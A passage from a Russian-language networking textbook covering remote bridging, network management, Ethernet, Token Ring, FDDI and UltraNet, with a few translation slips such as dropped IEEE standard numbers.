соединяют множество сегментов LAN на различных территориях, обычно через
телекоммуникационные линии.
Дистанционное мостовое соединение представляет ряд уникальных трудностей
объединения сетей. Одна из них — разница между скоростями LAN и WAN (глобальная
сеть). Хотя в последнее время в географически рассредоточенных объединенных
сетях появилось несколько технологий быстродействующих WAN, скорости LAN часто
на порядок выше скоростей WAN. Большая разница скоростей LAN и WAN иногда не
позволяет пользователям прогонять через WAN применения LAN, чувствительные к
задержкам.
Дистанционные мосты не могут увеличить скорость WAN, однако они могут
компенсировать несоответствия в скоростях путем использования достаточных
буферных мощностей. В случае, если какое-либо устройство LAN, способной
передавать со скоростью 3 Mb/сек, намерено связаться с одним из устройств
отдаленной LAN, то локальный мост должен регулировать поток информации,
передаваемой со скоростью 3Mb/сек, чтобы не переполнить последовательный канал,
который пропускает 64 Kb/сек. Это достигается путем накопления поступающей
информации в расположенных на плате буферах и посылки ее через последовательный
канал со скоростью, которую он может обеспечить. Это осуществимо только для
коротких пакетов информации, которые не переполняют буферные мощности моста.
IEEE (Институт инженеров по электротехнике и радиоэлектронике) поделил канальный
уровень OSI на два отдельных подуровня: подуровень MAC (Управление доступом к
носителю) и подуровень LLC (Управление логическим каналом). МАС разрешает и
оркестрирует доступ к носителю (Например, конфликтные ситуации, эстафетная
передача и др.), в то время как подуровень LLC занят кадрированием, управлением
потоком информации, управлением неисправностями и адресацией подуровня МАС.
Некоторые мосты являются мостами подуровня МАС. Эти устройства образуют мост
между гомогенными сетями (например, IEEE 802.3 и IEEE 802.3). Другие мосты могут
осуществлять трансляцию между различными протоколами канального уровня
(например, IEEE 802.3 и IEEE 802.5).
Трансляция, осуществляемая мостом между различными типами сетей, никогда не
бывает безупречной, так как всегда имеется вероятность, что одна сеть поддержит
определенный фрейм, который не поддерживается другой сетью. Эту ситуацию можно
считать примерно аналогичной проблеме, с которой сталкивается эскимос,
пытающийся перевести на английский некоторые слова из тех 50 слов, которые
обозначают “снег”.
4.4. Управление сетями
Как только компании поняли, что сетевая технология обеспечивает им сокращение
расходов и повышение производительности, они начали устанавливать новые и
расширять уже существующие сети почти с такой же скоростью, с какой появлялись
новые технологии сетей и изделия для них. При этом стали очевидными проблемы,
число которых все более увеличивалось, связанные с этим ростом, особенно у тех
компаний, которые применили много разных (и несовместимых) технологий сети.
Основными проблемами, связанными с увеличением сетей, являются каждодневное
управление работой сети и стратегическое планирование роста сети. Характерным
является то, что каждая новая технология сети требует свою собственную группу
экспертов для ее работы и поддержки. Стратегическое планирование роста этих
сетей превратилось в какой-то кошмар. Одни только требования к числу персонала
для управления крупными гетерогенными сетями привели многие организации на грань
кризиса.
Насущной необходимостью стало автоматизированное управление сетями (включая то,
что обычно называется “планированием возможностей сети”), интегрированное по
всем различным окружениям.
Архитектура управления сети
Большинство архитектур управления сети используют одну и ту же базовую структуру
и набор взаимоотношений. Конечные станции (managed devices — управляемые
устройства), такие как компьютерные системы и другие сетевые устройства,
прогоняют программные средства, позволяющие им посылать сигналы тревоги, когда
они распознают проблемы. Проблемы распознаются, когда превышен один или более
порогов, заданных пользователем. Management entities (управляющие объекты)
запрограммированы таким образом, что после получения этих сигналов тревоги они
реагируют выполнением одного, нескольких или группы действий, включающих:
● Уведомление оператора
● Регистрацию события
● Отключение системы
● Автоматические попытки исправления системы
Управляющие объекты могут также опросить конечные станции, чтобы проверить
некоторые переменные. Опрос может быть автоматическим или его может инициировать
пользователь. На эти запросы в управляемых устройствах отвечают “агенты”. Агенты
— это программные модули, которые накапливают информацию об управляемом
устройстве, в котором они расположены, хранят эту информацию в “базе данных
управления” и предоставляют ее (проактивно или реактивно) в управляющие объекты,
находящиеся в пределах “систем управления сети” (NMSs), через протокол
управления сети. В число известных протоколов управления сети входят “the Simple
Network Management Protocol (SPMP)” (Протокол Управления Простой Сети) и “Common
Management Information Protocol (CMIP)” (Протокол Информации Общего Управления).
“Management proxies” (Уполномоченные управления) — это объекты, которые
обеспечивают информацию управления от имени других объектов.
Модель управления сети ISO
ISO внесла большой вклад в стандартизацию сетей. Модель управления сети этой
организации является основным средством для понимания главных функций систем
управления сети. Эта модель состоит из 5 концептуальных областей:
● Управление эффективностью
● Управление конфигурацией
● Управление учетом использования ресурсов
● Управление неисправностями
● Управление защитой данных
Управление эффективностью
Цель управления эффективностью — измерение и обеспечение различных аспектов
эффективности сети для того, чтобы межсетевая эффективность могла поддерживаться
на приемлемом уровне. Примерами переменных эффективности, которые могли бы быть
обеспечены, являются пропускная способность сети, время реакции пользователей и
коэффициент использования линии.
Управление эффективностью включает несколько этапов:
● Сбор информации об эффективности по тем переменным, которые представляют
интерес для администраторов сети.
● Анализ информации для определения нормальных (базовая строка) уровней.
● Определение соответствующих порогов эффективности для каждой важной переменной
таким образом, что превышение этих порогов указывает на наличие проблемы в сети,
достойной внимания.
Управляемые объекты постоянно контролируют переменные эффективности. При
превышении порога эффективности вырабатывается и посылается в NMS сигнал
тревоги.
Каждый из описанных выше этапов является частью процесса установки реактивной
системы. В случае, если эффективность становится неприемлемой вследствие
превышения установленного пользователем порога, система реагирует посылкой
сообщения. Управление эффективностью позволяет также использовать проактивные
методы. Например, при проектировании воздействия роста сети на показатели ее
эффективности может быть использован имитатор сети. Такие имитаторы могут
эффективно предупреждать администраторов о надвигающихся проблемах для того,
чтобы можно было принять контрактивные меры.
Управление конфигурацией
Цель управления конфигурацией — контролирование информации о сетевой и системной
конфигурации для того, чтобы можно было отслеживать и управлять воздействием на
работу сети различных версий аппаратных и программных элементов. Так как все
аппаратные и программные элементы имеют эксплуатационные отклонения,
погрешности, или то и другое вместе, которые могут влиять на работу сети, такая
информация важна для поддержания гладкой работы сети.
Каждое устройство сети располагает разнообразной информацией о версиях,
ассоциируемых с ним. Например, АРМ проектировщика может иметь следующую
конфигурацию:
● Операционная система
● Интерфейс Ethernet
● Программное обеспечение TCP/IP
● Программное обеспечение NetWare
● Программное обеспечение NFS
● Контроллер последовательных сообщений
● Программное обеспечение Х.25
● Программное обеспечение SNM
Для того, чтобы обеспечить легкий доступ, подсистемы управления конфигурацией
хранят эту информацию в базе данных. Когда возникает какая-нибудь проблема, в
этой базе данных может быть проведен поиск ключей, которые могли бы помочь
решить эту проблему.
Управление учетом использования ресурсов
Цель управления учетом использования ресурсов — измерение параметров
использования сети, чтобы можно было соответствующим образом регулировать ее
использование индивидуальными или групповыми пользователями. Такое регулирование
минимизирует число проблем в сети (так как ресурсы сети могут быть поделены
исходя из возможностей источника) и максимизировать равнодоступность к сети для
всех пользователей.
Как и для случая управления эффективностью, первым шагом к соответствующему
управлению учетом использования ресурсов является измерение коэффициента
использования всех важных сетевых ресурсов. Анализ результатов дает возможность
понять текущую картину использования. В этой точке могут быть установлены доли
пользования. Для достижения оптимальной практики получения доступа может
потребоваться определенная коррекция. Начиная с этого момента, последующие
измерения использования ресурсов могут выдавать информацию о выставленных
счетах, наряду с информацией, использованной для оценки наличия равнодоступности
и оптимального коэффициента использования источника.
Управление неисправностями
Цель управления неисправностями — выявить, зафиксировать, уведомить
пользователей и (в пределах возможного) автоматически устранить проблемы в сети
с тем, чтобы эффективно поддерживать работу сети. Так как неисправности могут
привести к простоям или недопустимой деградации сети, управление
неисправностями, по всей вероятности, является наиболее широко используемым
элементом модели управления сети ISO.
Управление неисправностями включает в себя несколько шагов:
● Определение симптомов проблемы.
● Изолирование проблемы.
● Устранение проблемы.
● Проверка устранения неисправности на всех важных подсистемах.
● Регистрация обнаружения проблемы и ее решения.
Управление защитой данных
Цель управления защитой данных — контроль доступа к сетевым ресурсам в
соответствии с местными руководящими принципами, чтобы сделать невозможными
саботаж сети и доступ к чувствительной информации лицам, не имеющим
соответствующего разрешения. Например, одна из подсистем управления защитой
данных может контролировать регистрацию пользователей ресурса сети, отказывая в
доступе тем, кто вводит коды доступа, не соответствующие установленным.
Подсистемы управления защитой данных работают путем разделения источников на
санкционированные и несанкционированные области. Для некоторых пользователей
доступ к любому источнику сети является несоответствующим. Такими
пользователями, как правило, являются не члены компании. Для других
пользователей сети (внутренних) несоответствующим является доступ к информации,
исходящей из какого-либо отдельного отдела. Например, доступ к файлам о людских
ресурсах является несоответствующим для любых пользователей, не принадлежащих к
отделу управления людскими ресурсами (исключением может быть администраторский
персонал).
Подсистемы управления защитой данных выполняют следующие функции:
● Идентифицируют чувствительные ресурсы сети (включая системы, файлы и другие
объекты)
● Определяют отображения в виде карт между чувствительными источниками сети и
набором пользователей
● Контролируют точки доступа к чувствительным ресурсам сети
● Регистрируют несоответствующий доступ к чувствительным ресурсам сети.
4.5. Ethernet
Ethernet был разработан Исследовательским центром в Пало Альто (PARC) корпорации
Xerox в 1970-м году. Ethernet стал основой для спецификации IEEE. После недолгих
споров компании Digital Equipment Corporation, Intel Corporation и Xerox
Corporation совместно разработали и приняли спецификацию, которая была частично
совместима с IEEE. На сегодняшний день Ethernet и IEEE являются наиболее
распространенными протоколами локальных вычислительных сетей (ЛВС). Сегодня
термин Ethernet чаще всего используется для описания всех ЛВС работающих по
принципу множественный доступ с обнаружением несущей (carrier sense multiple
access/collision detection (CSMA/CD)), которые соответствуют Ethernet, включая
IEEE.
Когда Ethernet был разработан, он должен был заполнить нишу между глобальными
сетями, низкоскоростными сетями и специализированными сетями компьютерных
центров, которые работали на высокой скорости, но очень ограниченном расстоянии.
Ethernet хорошо подходит для приложений где локальные коммуникации должны
выдерживать высокие нагрузки при высоких скоростях в пиках.
4.6. Token Ring и IEEE
Сеть Token Ring первоначально была разработана компанией IBM в 1970 гг. Она
по-прежнему является основной технологией IBM для локальных сетей (LAN), уступая
по популярности среди технологий LAN только Ethernet/IEEE. Спецификация IEEE
почти идентична и полностью совместима с сетью Token Ring IBM. Спецификация IEEE
была фактически создана по образцу Token Ring IBM, и она продолжает отслеживать
ее разработку. Термин “Token Ring” обычно применяется как при ссылке на сеть
Token Ring IBM, так и на сеть IEEE.
Сравнение Token Ring и IEEE
Сети Token Ring и IEEE в основном почти совместимы, хотя их спецификации имеют
относительно небольшие различия. Сеть Token Ring IBM оговаривает звездообразное
соединение, причем все конечные устройства подключаются к устройству,
называемому “устройством доступа к многостанционной сети” (MSAU), в то время как
IEEE не оговаривает топологию сети (хотя виртуально все реализации IEEE также
базируются на звездообразной сети). Имеются и другие отличия, в том числе тип
носителя (IEEE не оговаривает тип носителя, в то время как сети Toke Ring IBM
используют витую пару) и размер поля маршрутной информации.
Передача маркера
Token Ring и IEEE являются главными примерами сетей с передачей маркера. Сети с
передачей маркера перемещают вдоль сети небольшой блок данных, называемый
маркером. Владение этим маркером гарантирует право передачи. В случае, если
узел, принимающий маркер, не имеет информации для отправки, он просто
переправляет маркер к следующей конечной станции. Каждая станция может
удерживать маркер в течение определенного максимального времени.
В случае, если у станции, владеющей маркером, имеется информации для передачи,
она захватывает маркер, изменяет у него один бит (в результате чего маркер
превращается в последовательность “начало блока данных”), дополняет информацией,
которую он хочет передать и, наконец, отсылает эту информацию к следующей
станции кольцевой сети. Когда информационный блок циркулирует по кольцу, маркер
в сети отсутствует (если только кольцо не обеспечивает “раннего освобождения
маркера” — early token release), поэтому другие станции, желающие передать
информацию, вынуждены ожидать. Следовательно, в сетях Token Ring не может быть
коллизий. В случае, если обеспечивается раннее высвобождение маркера, то новый
маркер может быть выпущен после завершения передачи блока данных.
Информационный блок циркулирует по кольцу, пока не достигнет предполагаемой
станции назначения, которая копирует информацию для дальнейшей обработки.
Информационный блок продолжает циркулировать по кольцу; он окончательно
удаляется после достижения станции, отославшей этот блок. Станция отправки может
проверить вернувшийся блок, чтобы убедиться, что он был просмотрен и затем
скопирован станцией назначения.
В отличие от сетей CSMA/CD (например, Ethernet) сети с передачей маркера
являются детерминистическими сетями. Это означает, что можно вычислить
максимальное время, которое пройдет, прежде чем любая конечная станция сможет
передавать. Эта характеристика, а также некоторые характеристики надежности,
которые будут рассмотрены дальше, делают сеть Token Ring идеальной для
применений, где задержка должна быть предсказуема и важна устойчивость
функционирования сети. Примерами таких применений является среда
автоматизированных станций на заводах.
Физические соединения
Станции сети IBM Token Ring напрямую подключаются к MSAU, которые могут быть
объединены с помощью кабелей, образуя одну большую кольцевую сеть.
Кабели-перемычки соединяют MSAU со смежными MSAU. Кабели-лепестки подключают
MSAU к станциям. В составе МSAU имеются шунтирующие реле для исключения станций
из кольца.
Система приоритетов
Сети Token Ring используют сложную систему приоритетов, которая позволяет
некоторым станциям с высоким приоритетом, назначенным пользователем, более часто
пользоваться сетью. Блоки данных Token Ring содержат два поля, которые управляют
приоритетом: поле приоритетов и поле резервирования.
Только станции с приоритетом, который равен или выше величины приоритета,
содержащейся в маркере, могут завладеть им. После того, как маркер захвачен и
изменен (в результате чего он превратился в информационный блок), только
станции, приоритет которых выше приоритета передающей станции, могут
зарезервировать маркер для следующего прохода по сети. При генерации следующего
маркера в него включается более высокий приоритет данной резервирующей станции.
Станции, которые повышают уровень приоритета маркера, должны восстановить
предыдущий уровень приоритета после завершения передачи.
Механизмы управления неисправностями
Сети Token Ring используют несколько механизмов обнаружения и компенсации
неисправностей в сети. Например, одна станция в сети Token Ring выбирается
“активным монитором” (active monitor). Эта станция, которой в принципе может
быть любая станция сети, действует как централизованный источник
синхронизирующей информации для других станций кольца и выполняет разнообразные
функции для поддержания кольца. Одной из таких функций является удаление из
кольца постоянно циркулирующих блоков данных. В случае, если устройство,
отправившее блок данных, отказало, то этот блок может постоянно циркулировать по
кольцу. Это может помешать другим станциям передавать собственные блоки данных и
фактически блокирует сеть. Активный монитор может выявлять и удалять такие блоки
и генерировать новый маркер.
Звездообразная топология сети IBM Token Ring также способствует повышению общей
надежности сети. Так как вся информация сети Token Ring просматривается
активными MSAU, эти устройства можно запрограммировать так, чтобы они проверяли
наличие проблем и при необходимости выборочно удаляли станции из кольца.
Алгоритм Token Ring, называемый “сигнализирующим” (beaconing), выявляет и
пытается устранить некоторые неисправности сети. В случае, если какая-нибудь
станция обнаружит серьезную проблему в сети (например такую, как обрыв кабеля),
она высылает сигнальный блок данных. Сигнальный блок данных указывает домен
неисправности, в который входят станция, сообщающая о неисправности, ее
ближайший активный сосед, находящийся выше по течению потока информации (NAUN),
и все, что находится между ними.
Сигнализация инициализирует процесс, называемый “автореконфигурацией” (autoreconfiguration),
в ходе которого узлы, расположенные в пределах отказавшего домена, автоматически
выполняют диагностику, пытаясь реконфигурировать сеть вокруг отказавшей зоны. В
физическом плане MSAU может выполнить это с помощью электрической
реконфигурации.
Формат блока данных
Сети Token Ring определяют два типа блока данных: блоки маркеров и блоки
данных/блоки команд.
Маркеры
Длина маркера — три байта; он состоит из:
● ограничителя начала
Ограничитель начала служит для предупреждения каждой станции о прибытии маркера
(или блока данных/блока команд). В этом поле имеются сигналы, которые отличают
этот байт от остальной части блока путем нарушения схемы кодирования,
использованной в других частях блока.
● байта управления доступом
Байт управления доступом содержит поля приоритета и резервирования, а также бит
маркера (используемый для дифференциации маркера и блока данных/блока команд) и
бит монитора (используемый активным монитором, чтобы определить, циркулирует
какой-либо блок в кольце непрерывно или нет).
● ограничителя конца
И наконец, разделитель конца сигнализирует о конце маркера или блока данных/
блока команд. В нем также имеются биты для индикации поврежденного блока, а
также блока, являющегося последним в логической последовательности.
Блок данных и блок команд
Блок данных и блок команд могут иметь разные размеры в зависимости от размеров
информационного поля. Блоки данных переносят информацию для протоколов высших
уровней; блоки команд содержат управляющую информацию, в них отсутствует
информация для протоколов высших уровней.
В блоке данных/блоке команд за байтом управления доступом следует байт
управления блоком данных. Байт управления блоком данных указывает, что содержит
блок — данные или управляющую информацию. В управляющих блоках этот байт
определяет тип управляющей информации.
За байтом управления блоком следуют два адресных поля, которые идентифицируют
станции пункта назначения и источника. Для IEEE длина адресов равна 6 байтам.
За адресными полями идет поле данных. Длина этого поля ограничена временем
удержания маркера кольца, которое определяет максимальное время, в течение
которого станция может удерживать маркер.
За полем данных идет поле последовательности проверки блока (FCS).
Станция-источник заполняет это поле вычисленной величиной, зависящей от
содержания блока данных. Станция назначения повторно вычисляет эту величину,
чтобы определить, не был ли блок поврежден при прохождении. В случае, если это
так, то блок отбрасывается.
Также, как и маркер, блок данных/блок команд заканчивается ограничителем конца.
4.7. FDDI
Стандарт на “Волоконно-оптический интерфейс по распределенным данным” (FDDI) был
выпущен ANSI X3Т9.5 (комитет по разработке стандартов) в середине 1980 гг. В
этот период быстродействующие АРМ проектировщика уже начинали требовать
максимального напряжения возможностей существующих локальных сетей (LAN) (в
основном Ethernet и Token Ring). Возникла необходимость в новой LAN, которая
могла бы легко поддерживать эти АРМ и их новые прикладные распределенные
системы. Одновременно все большее значение уделяется проблеме надежности сети,
так как администраторы систем начали переносить критические по назначению
прикладные задачи из больших компьютеров в сети. FDDI была создана для того,
чтобы удовлетворить эти потребности.
После завершения работы над FDDI, ANSI представила его на рассмотрение в ISO.
ISO разработала международный вариант FDDI, который полностью совместим с
вариантом стандарта, разработанным ANSI.
Хотя реализации FDDI сегодня не столь распространены, как Ethernet или Token
Ring, FDDI приобрела значительное число своих последователей, которое
увеличивается по мере уменьшения стоимости интерфейса FDDI. FDDI часто
используется как основа технологий, а также как средство для соединения
быстродействующих компьютеров, находящихся в локальной области.
Основы технологии
Стандарт FDDI определяет 100 Mb/сек. LAN с двойным кольцом и передачей маркера,
которая использует в качестве среды передачи волоконно-оптический кабель. Он
определяет физический уровень и часть канального уровня, которая отвечает за
доступ к носителю; поэтому его взаимоотношения с эталонной моделью OSI примерно
аналогичны тем, которые характеризуют IEEE.
Хотя она работает на более высоких скоростях, FDDI во многом похожа на Token
Ring. Обе сети имеют одинаковые характеристики, включая топологию (кольцевая
сеть), технику доступа к носителю (передача маркера), характеристики надежности
(например, сигнализация-beaconing).
Одной из наиболее важных характеристик FDDI является то, что она использует
световод в качестве передающей среды. Световод обеспечивает ряд преимуществ по
сравнению с традиционной медной проводкой, включая защиту данных (оптоволокно не
излучает электрические сигналы, которые можно перехватывать), надежность
(оптоволокно устойчиво к электрическим помехам) и скорость (потенциальная
пропускная способность световода намного выше, чем у медного кабеля).
FDDI устанавливает два типа используемого оптического волокна: одномодовое
(иногда называемое мономодовым) и многомодовое. Моды можно представить в виде
пучков лучей света, входящего в оптическое волокно под определенным углом.
Одномодовое волокно позволяет распространяться через оптическое волокно только
одному моду света, в то время как многомодовое волокно позволяет
распространяться по оптическому волокну множеству мод света. Так как множество
мод света, распространяющихся по оптическому кабелю, могут проходить различные
расстояния (в зависимости от угла входа), и, следовательно, достигать пункт
назначения в разное время (явление, называемое модальной дисперсией),
одномодовый световод способен обеспечивать большую полосу пропускания и прогон
кабеля на большие расстояния, чем многомодовые световоды. Благодаря этим
характеристикам одномодовые световоды часто используются в качестве основы
университетских сетей, в то время как многомодовый световод часто используется
для соединения рабочих групп. В многомодовом световоде в качестве генераторов
света используются диоды, излучающие свет (LED), в то время как в одномодовом
световоде обычно применяются лазеры.
Технические условия FDDI
FDDI определяется 4-мя независимыми техническими условиями:
Media Access Control (MAC) (Управление доступом к носителю)
Определяет способ доступа к носителю, включая формат пакета, обработку маркера,
адресацию, алгоритм CRC (проверка избыточности цикла) и механизмы устранения
ошибок.
Physical Layer Protocol (PHY) (Протокол физического уровня)
Определяет процедуры кодирования/декодирования информации, требования к
синхронизации, формированию кадров и другие функции.
Station Management (SMT) (Управление станциями)
Определяет конфигурацию станций FDDI, конфигурацию кольцевой сети и особенности
управления кольцевой сетью, включая вставку и исключение станций, инициализацию,
изоляцию и устранение неисправностей, составление графика и набор статистики.
Физические соединения
FDDI устанавливает применение двойных кольцевых сетей. Трафик по этим кольцам
движется в противоположных направлениях. В физическом выражении кольцо состоит
из двух или более двухточечных соединений между смежными станциями. Одно из двух
колец FDDI называется первичным кольцом, другое-вторичным кольцом. Первичное
кольцо используется для передачи данных, в то время как вторичное кольцо обычно
является дублирующим.
“Станции Класса В” или “станции, подключаемые к одному кольцу” (SAS)
подсоединены к одной кольцевой сети; “станции класса А” или “станции,
подключаемые к двум кольцам” (DAS) подсоединены к обеим кольцевым сетям. SAS
подключены к первичному кольцу через “концентратор”, который обеспечивает связи
для множества SAS. Концентратор отвечает за то, чтобы отказ или отключение
питания в любой из SAS не прерывали кольцо. Это особенно необходимо, когда к
кольцу подключен РС или аналогичные устройства, у которых питание часто
включается и выключается.
Каждая DAS FDDI имеет два порта, обозначенных А и В. Эти порты подключают
станцию к двойному кольцу FDDI. Следовательно, каждый порт обеспечивает
соединение как с первичным, так и со вторичным кольцом.
Типы трафика
FDDI поддерживает распределение полосы пропускания сети в масштабе реального
времени, что является идеальным для ряда различных типов прикладных задач. FDDI
обеспечивает эту поддержку путем обозначения двух типов трафика: синхронного и
асинхронного. Синхронный трафик может потреблять часть общей полосы пропускания
сети FDDI, равную 100 Mb/сек; остальную часть может потреблять асинхронный
трафик. Синхронная полоса пропускания выделяется тем станциям, которым
необходима постоянная возможность передачи. Например, наличие такой возможности
помогает при передаче голоса и видеоинформации. Другие станции используют
остальную часть полосы пропускания асинхронно. Спецификация SMT для сети FDDI
определяет схему распределенных заявок на выделение полосы пропускания FDDI.
Распределение асинхронной полосы пропускания производится с использованием
восьмиуровневой схемы приоритетов. Каждой станции присваивается определенный
уровень приоритета пользования асинхронной полосой пропускания. FDDI также
разрешает длительные диалоги, когда станции могут временно использовать всю
асинхронную полосу пропускания. Механизм приоритетов FDDI может фактически
блокировать станции, которые не могут пользоваться синхронной полосой
пропускания и имеют слишком низкий приоритет пользования асинхронной полосой
пропускания.
Особенности отказоустойчивости
FDDI характеризуется рядом особенностей отказоустойчивости. Основной
особенностью отказоустойчивости является наличие двойной кольцевой сети. В
случае, если какая-нибудь станция, подключенная к двойной кольцевой сети,
отказывает, или у нее отключается питание, или если поврежден кабель, то двойная
кольцевая сеть автоматически “свертывается” (“подгибается” внутрь) в одно
кольцо.
По мере увеличения размеров сетей FDDI растет вероятность увеличения числа
отказов кольцевой сети. В случае, если имеют место два отказа кольцевой сети, то
кольцо будет свернуто в обоих случаях, что приводит к фактическому
сегментированию кольца на два отдельных кольца, которые не могут сообщаться друг
с другом. Последующие отказы вызовут дополнительную сегментацию кольца.
Для предотвращения сегментации кольца могут быть использованы оптические
шунтирующие переключатели, которые исключают отказавшие станции из кольца.
Устройства, критичные к отказам, такие как роутеры или главные универсальные
вычислительные машины, могут использовать другую технику повышения
отказоустойчивости, называемую “двойным подключением” (dual homing), для того,
чтобы обеспечить дополнительную избыточность и повысить гарантию
работоспособности. При двойном подключении критичное к отказам устройство
подсоединяется к двум концентраторам. Одна пара каналов концентраторов считается
активным каналом; другую пару называют пассивным каналом. Пассивный канал
находится в режиме поддержки до тех пор, пока не будет установлено, что основной
канал (или концентратор, к которому он подключен) отказал. В случае, если это
происходит, то пассивный канал автоматически активируется.
Формат блока данных
Форматы блока данных FDDI аналогичны форматам Token Ring.
preamble
Заголовок подготавливает каждую станцию для приема прибывающего блока данных.
start delimiter
Ограничитель начала указывает на начало блока данных. Он содержит сигнальные
структуры, которые отличают его от остальной части блока данных.
frame control
Поле управления блоком данных указывает на размер адресных полей, на вид данных,
содержащихся в блоке (синхронная или асинхронная информация), и на другую
управляющую информацию.
destination address
Также, как у Ethernet и Token Ring, размер адресов равен 6 байтам. Поле адреса
назначения может содержать односоставный (единственный), многосоставный
(групповой) или широковещательный (все станции) адрес, в то время как адрес
источника идентифицирует только одну станцию, отправившую блок данных.
data
Информационное поле содержит либо информацию, предназначенную для протокола
высшего уровня, либо управляющую информацию.
frame check sequence
Также, как у Token Ring и Ethernet, поле проверочной последовательности блока
данных (FCS) заполняется величиной “проверки избыточности цикла” (CRC),
зависящей от содержания блока данных, которую вычисляет станция-источник.
Станция пункта назначения пересчитывает эту величину, чтобы определить наличие
возможного повреждения блока данных при транзите. В случае, если повреждение
имеется, то блок данных отбрасывается.
end delimiter
Ограничитель конца содержит неинформационные символы, которые означают конец
блока данных.
frame status
Поле состояния блока данных позволяет станции источника определять, не появилась
ли ошибка, и был ли блок данных признан и скопирован принимающей станцией.
4.8. UltraNet
Система сети UltraNet, или просто UltraNet, состоит из семейства
высокоскоростных программ для объединенных сетей и аппаратных изделий, способных
обеспечить совокупную пропускную способность в один гигабайт в секунду (Gb/сек).
UltraNet производится и реализуется на рынке компанией Ultra Network
Technologies. UltraNet обычно используется для соединения высокоскоростных
компьютерных систем, таких как суперкомпьютеры, минисуперкомпьютеры,
универсальные вычислительные машины, устройства обслуживания и АРМ. UltraNet
может быть сама соединена с другой сетью (например, Ethernet и Token Ring) через
роутеры, которые выполняют функции межсетевого интерфейса.
Основы технологии
UltraNet обеспечивает услуги, соответствующие четырем низшим уровням эталонной
модели OSI. UltraNet обеспечивает Simple Network Management Protocol (SNMP)
(Протокол Управления Простой Сетью) и Routing Information Protocol (RIP)
(Протокол маршрутной информации).
UltraNet использует топологию звездообразной сети с концентратором сети (Hub) в
центральной точке звезды. Другими компонентами системы UltraNet являются
программное обеспечение для главной вычислительной машины, сетевые процессоры,
канальные адаптеры, инструментальные средства управления сети и изделия для
объединения сетей, такие как роутеры и мосты. Сетевые процессоры соединяют
главные вычислительные машины с системой UltraNet и обеспечивают виртуальную
цепь и услуги дейтаграмм. Главные вычислительные машины, непосредственно
подключенные к системе UltraNet, могут быть удалены друг от друга на расстояние
до 30 км. Этот предел может быть расширен подключением к глобальной сети (WAN),
например, путем использования каналов связи Т3.
Компоненты UltraNet
Сеть UltraNet состоит из различных компонентов, в том числе концентраторов,
программного обеспечения для главных вычислительных машин, управляющих сети,
сетевых процессоров и канальных адаптеров.
Концентратор (hub) UltraNet
Концентратор в UltraNet является центральной точкой связи для главных
вычислительных машин сети UltraNet. Он содержит высокоскоростную внутреннюю
параллельную шину (UltraBus), объединяющую все процессоры в пределах этого
концентратора. UltraBus отвечает за коммутируемую информацию в сети UltraNet.
Концентраторы UltraNet обеспечивают быстрое согласование, управление перегрузкой
каналов связи и прямое подключение каналов.
Программное обеспечение главной вычислительной машины UltraNet
Программное обеспечение главной вычислительной машины UltraNet состоит из:
● Библиотек программирования, позволяющих пропускать через UltraNet программы
клиентов Transmission Control Protocol/Internet Protocol (TCP/IP) (Протокол
управления передачей/ Протокол Internet) и графические прикладные программы.
● Драйверов устройств сетевых процессоров, которые обеспечивают интерфейс между
процессами пользователя и сетевым процессором UltraNet через адаптер процессора.
● Поддержки системы программных гнезд, базирующейся на библиотеках программ,
UNIX Berkeley Standard Distribution (BSD). Эта поддержка обеспечивается в форме
совокупности библиотечных функций языка С, которая заменяет стандартные
обращения к системе программных гнезд, чтобы обеспечить совместимость с
существующими прикладными задачами, базирующимися на программных гнездах.
● Обслуживающие конфигурационные программы, которые дают возможность
пользователю определять сетевые процессоры, имеющиеся в системе UltraNet,
маршруты между концентраторами UltraNet и сетевыми процессорами, а также адреса
UltraNet.
● Диагностические обслуживающие программы, которые позволяют пользователям
проверять систему UltraNet для обнаружения возможных проблем. Эти обслуживающие
программы могут запускаться компьютером Ultra Network Manager (Управляющий сети
UltraNet), а также главной вычислительной машиной.
Управляющий сети UltraNet
Управляющий сети UltraNet обеспечивает инструментальные средства, которые
помогают инициализировать и управлять UltraNet. Физическим выражением
управляющего является базирующийся на Intel РС, работающий в операционных
системах DOS и Windows, который подключает к концентратору UltraNet через шину
управления сети (NMB). NMB представляет собой независимую 1 Mg/сек LAN,
базирующуюся на спецификации StarLAN (1Base5). Управляющий UltraNet заменяет
информацию управления, пользуясь протоколом SNMP.
Сетевые процессоры
Сетевые процессоры UltraNet обеспечивают связи между концентраторами UltraNet и
главными вычислительными машинами. Имеются сетевые процессоры, которые
поддерживают каналы High-Perfomance Parallel Interface (HIPPI)
(Высокопроизводительный параллельный интерфейс), HSX (обеспечивается Cray), ВМС
(обеспечивается IBM) и LSC (обеспечивается Cray), а также шины VMEbus, SBus, HP/EISA
bus и IBM Micro Channel bus. Сетевые процессоры могут находиться либо в главной
вычислительной машине, либо в концентраторе UltraNet.
Сетевой процессор, размещаемый в концентраторе, состоит из платы процессора
обработки протоколов, платы персонального модуля и платы пульта ручного
управления. Плата процессора обработки протоколов выполняет команды сетевых
протоколов; на ней имеются буферы FIFO для выполнения буферизации пакетов и
согласования скоростей. Плата персонального модуля управляет обменом информации
между процессором обработки протоколов и различными средами сети, каналами
главной управляющей машины или специализированной аппаратурой. Плата пульта
ручного управления управляет устройством ввода/вывода (I/O) информации между
сетевым процессором и главной вычислительной машиной, монитором графического
дисплея или другим концентратором.
UltraNet также обеспечивает систему графического изображения с высокой
разрешающей способностью, которая принимает информацию в пикселах из главной
вычислительной машины UltraNet и отображает ее на мониторе, подключенном к
адаптеру. Это устройство называется сетевым процессором кадрового буфера.
Большинство задач обработки сетевых протоколов выполняются сетевыми процессорами
UltraNet. Сетевые процессоры могут принимать реализации TCP/IP и связанных с ним
протоколов, а также модифицированные пакеты протоколов OSI, чтобы осуществлять
связь между главными вычислительными машинами.
Адаптеры каналов связи
Адаптеры каналов связи соединяют и передают информацию между двумя
концентраторами UltraNet или между концентратором UltraNet и роутерами Cisco
Systems AGS+. Имея в своем составе контроллеры каналов связи, от одного до
четырех мультиплексоров каналов связи и одну плату пульта ручного управления для
каждого мультиплексора каналов связи, адаптеры каналов связи располагают
полностью дублированной частной шиной, мощность полосы пропускания которой равна
1 Гигабит/сек.
На основе регулярно действующего принципа адаптеры каналов связи определяют те
адаптеры и концентраторы, к которым они непосредственно подключаются. Адаптеры
каналов связи рассылают ту или иную маршрутную информацию в другие адаптеры
каналов, чтобы осуществлять динамичное построение и поддержание базы данных
маршрутизации, содержащей информацию о наилучшем маршруте до всех главных
вычислительных машин в пределах сети.
4.9. HSSI
Бесспорной тенденцией развития сетей является увеличение скорости связи. С
появлением интерфейса Fiber Distributed Data Interface (FDDI)
(Волоконно-оптический интерфейс по распределенным данным) локальные сети
